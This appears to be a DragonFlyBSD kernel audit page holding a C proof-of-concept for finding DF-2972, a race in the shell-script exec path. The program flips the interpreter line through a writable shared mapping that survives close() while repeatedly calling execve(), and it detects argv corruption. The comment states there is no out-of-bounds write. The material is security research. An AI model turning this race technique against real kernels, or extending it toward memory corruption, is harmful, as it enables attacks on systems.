โฌข DragonFlyBSD Kernel Audit
DF-2972 / race_demo.c
โ† back to finding โ†“ download raw
/*
 * DF-2972 โ€” interpreter-line double-scan TOCTOU in exec_shell_imgact()
 * =========================================================================
 *
 * sys/kern/imgact_shell.c scans the script's first page TWICE:
 *
 *   scan1 (imgact_shell.c:75-96)   sizes the reservation, drives the E2BIG
 *                                  check (:120), the argv[1..]+env bcopy
 *                                  shift (:123-124) and the endp/space
 *                                  adjustment (:126-129).
 *   scan2 (imgact_shell.c:138-162) actually copies the tokens into the
 *                                  string buffer and bumps argc (:160).
 *
 * The scanned page is the file's LIVE page-cache page (mapped via
 * exec_map_page, kern_exec.c:770-842).  A MAP_SHARED writable mapping that
 * outlives close() keeps the ability to store into that same page: DF drops
 * v_writecount on close (sys/kern/vfs_default.c:1213-1216, comment at
 * :1204-1209 explicitly acknowledges mmap writes "after the last close()"),
 * so exec_check_permissions' ETXTBSY guard (kern_exec.c:1325) does not fence
 * the racing writer.  A store landing between scan1 and scan2 makes the
 * kernel reserve space for one interpreter line but copy another.
 *
 * Impact on this platform is confined to argv/env corruption *inside* the
 * PATH_MAX+ARG_MAX (266,240 byte) args->buf object (scan2 writes are bounded
 * by the page: buf[0..4094]); interpreter_name is still MAXSHELLCMDLEN-
 * bounded (:173-174).  No OOB write is possible โ€” this demo proves the
 * divergence is real and userland-observable, not that it is exploitable.
 *
 * Detection principle
 * -------------------
 * The script's interpreter is "/bin/echo" (never raced โ€” only bytes 12..59
 * of the line are flipped).  echo prints its argv:
 *
 *     <raced tokens> /tmp/df2972/t USERARG
 *
 * For ANY single (even mid-flip) page state observed consistently by BOTH
 * scans, fname and USERARG stay ADJACENT and intact.  If scan1 != scan2,
 * the fname copystr lands at scan2's offset while the shifted strings sit
 * at scan1's reservation -> fname/USERARG mangled, overlapping, or
 * separated by stale bytes.  So:
 *
 *     consistent output        == canonicalA or canonicalB (captured quiet)
 *     mixed single-state       contains "/tmp/df2972/t USERARG" adjacent
 *     DIVERGENCE (race hit)    neither of the above
 *
 * Build:  cc -O2 -pthread -o race_demo race_demo.c
 * Run:    ./race_demo [iters] [hits_wanted]
 * Success criterion: >=1 "DF2972_HIT" line and HITS>0 in the summary,
 * guest stays up (no panic expected โ€” writes stay inside args->buf).
 */
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define SCRIPT  "/tmp/df2972/t"
#define ARG_OFF 12              /* first byte after "#!/bin/echo " */
#define ARG_LEN 48              /* raced region: bytes 12..59 */
#define USERARG "USERARG"
#define FNAME   "/tmp/df2972/t"

static char *map;
static volatile sig_atomic_t go = 0, stop = 0;

/*
 * Large environment (~200 KB) so the bcopy at imgact_shell.c:123-124 has to
 * shift a big block, widening the scan1 -> scan2 window to tens of us.
 */
#define NENV   50
#define ELEN   4100
static char envbufs[NENV][ELEN];
static char *envp[NENV + 1];

static void *
mutator(void *x __unused)
{
    char *p = map + ARG_OFF;

    while (!stop) {
        while (!go && !stop)
            ;
        if (stop)
            break;
        /* state B: one long token */
        memset(p, 'B', ARG_LEN);
        /* state A: short token + padding spaces */
        p[0] = p[1] = p[2] = p[3] = 'A';
        memset(p + 4, ' ', ARG_LEN - 4);
    }
    return (NULL);
}

/* Run one exec of the script; returns malloc'd stdout line (NUL-stripped)
 * or NULL on exec failure; *exitp gets child status. */
static char *
run_exec(int *exitp)
{
    int fds[2];
    pid_t pid;
    static char out[8192];

    if (pipe(fds) < 0)
        return (NULL);
    pid = fork();
    if (pid < 0) {
        close(fds[0]); close(fds[1]);
        return (NULL);
    }
    if (pid == 0) {
        char *argv[3];

        close(fds[0]);
        dup2(fds[1], 1);
        close(fds[1]);
        argv[0] = (char *)SCRIPT;
        argv[1] = (char *)USERARG;
        argv[2] = NULL;
        execve(SCRIPT, argv, envp);
        _exit(127);
    }
    close(fds[1]);
    {
        ssize_t n, tot = 0;
        for (;;) {
            n = read(fds[0], out + tot, sizeof(out) - 1 - tot);
            if (n <= 0)
                break;
            tot += n;
            if (tot >= (ssize_t)sizeof(out) - 1)
                break;
        }
        out[tot] = '\0';
        close(fds[0]);
        waitpid(pid, exitp, 0);
        while (tot > 0 && (out[tot-1] == '\n' || out[tot-1] == '\r'))
            out[--tot] = '\0';
        if (tot == 0)
            return (NULL);
        return (out);
    }
}

int
main(int argc, char **argv)
{
    long iters = (argc > 1) ? strtol(argv[1], NULL, 10) : 40000;
    long want  = (argc > 2) ? strtol(argv[2], NULL, 10) : 8;
    pthread_t th;
    int fd, st;
    char *expA, *expB, *out;
    long nA = 0, nB = 0, mixed = 0, fail = 0, hits = 0, i;

    setvbuf(stdout, NULL, _IOLBF, 0);
    signal(SIGPIPE, SIG_IGN);

    /* build the big environment once */
    for (int k = 0; k < NENV; k++) {
        envbufs[k][0] = 'K';
        envbufs[k][1] = '0' + (k / 10);
        envbufs[k][2] = '0' + (k % 10);
        envbufs[k][3] = '=';
        memset(envbufs[k] + 4, 'E' + (k % 20), ELEN - 5);
        envbufs[k][ELEN - 1] = '\0';
        envp[k] = envbufs[k];
    }
    envp[NENV] = NULL;

    mkdir("/tmp/df2972", 0755);
    fd = open(SCRIPT, O_RDWR | O_CREAT | O_TRUNC, 0755);
    if (fd < 0) { perror("open " SCRIPT); return (2); }
    {
        static char body[128];
        int n = 0;
        n += snprintf(body + n, sizeof(body) - n, "#!/bin/echo ");
        memset(body + n, 'A', 4);
        memset(body + n + 4, ' ', ARG_LEN - 4);
        n += ARG_LEN;
        body[n++] = '\n';
        body[n++] = '#';
        body[n++] = '\n';
        if (write(fd, body, n) != n) { perror("write"); return (2); }
    }
    if (fchmod(fd, 0755) != 0) { perror("fchmod"); return (2); }

    /* MAP_SHARED writable mapping, then close the fd: the mapping (and its
     * write access to the page-cache page) survives the close. */
    map = mmap(NULL, 128, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (map == MAP_FAILED) { perror("mmap"); return (2); }
    close(fd);

    /* quiet baselines (mutator not yet running) */
    memset(map + ARG_OFF + 4, ' ', ARG_LEN - 4);
    map[ARG_OFF+0] = map[ARG_OFF+1] = map[ARG_OFF+2] = map[ARG_OFF+3] = 'A';
    out = run_exec(&st);
    if (out == NULL) { printf("DF2972_ERR: baseline A exec failed st=%d errno=%d\n", st, errno); return (2); }
    expA = strdup(out);
    memset(map + ARG_OFF, 'B', ARG_LEN);
    out = run_exec(&st);
    if (out == NULL) { printf("DF2972_ERR: baseline B exec failed st=%d\n", st); return (2); }
    expB = strdup(out);
    printf("DF2972_CANONICAL_A=[%s]\n", expA);
    printf("DF2972_CANONICAL_B=[%s]\n", expB);

    pthread_create(&th, NULL, mutator, NULL);
    go = 1;

    for (i = 0; i < iters && hits < want; i++) {
        out = run_exec(&st);
        if (out == NULL) { fail++; continue; }
        if (strcmp(out, expA) == 0) { nA++; continue; }
        if (strcmp(out, expB) == 0) { nB++; continue; }
        if (strstr(out, FNAME " " USERARG) != NULL) { mixed++; continue; }
        hits++;
        printf("DF2972_HIT iter=%ld out=[%s]\n", i, out);
    }

    stop = 1;
    pthread_join(th, NULL);

    printf("DF2972_SUMMARY iters=%ld consistentA=%ld consistentB=%ld "
           "mixed_single_state=%ld exec_fail=%ld HITS=%ld\n",
           i, nA, nB, mixed, fail, hits);
    if (hits > 0)
        printf("DF2972_VERDICT: RACE_DETECTED (scan1/scan2 divergence is "
               "userland-observable)\n");
    else
        printf("DF2972_VERDICT: no divergence observed in %ld iters\n", i);
    return (hits > 0 ? 0 : 1);
}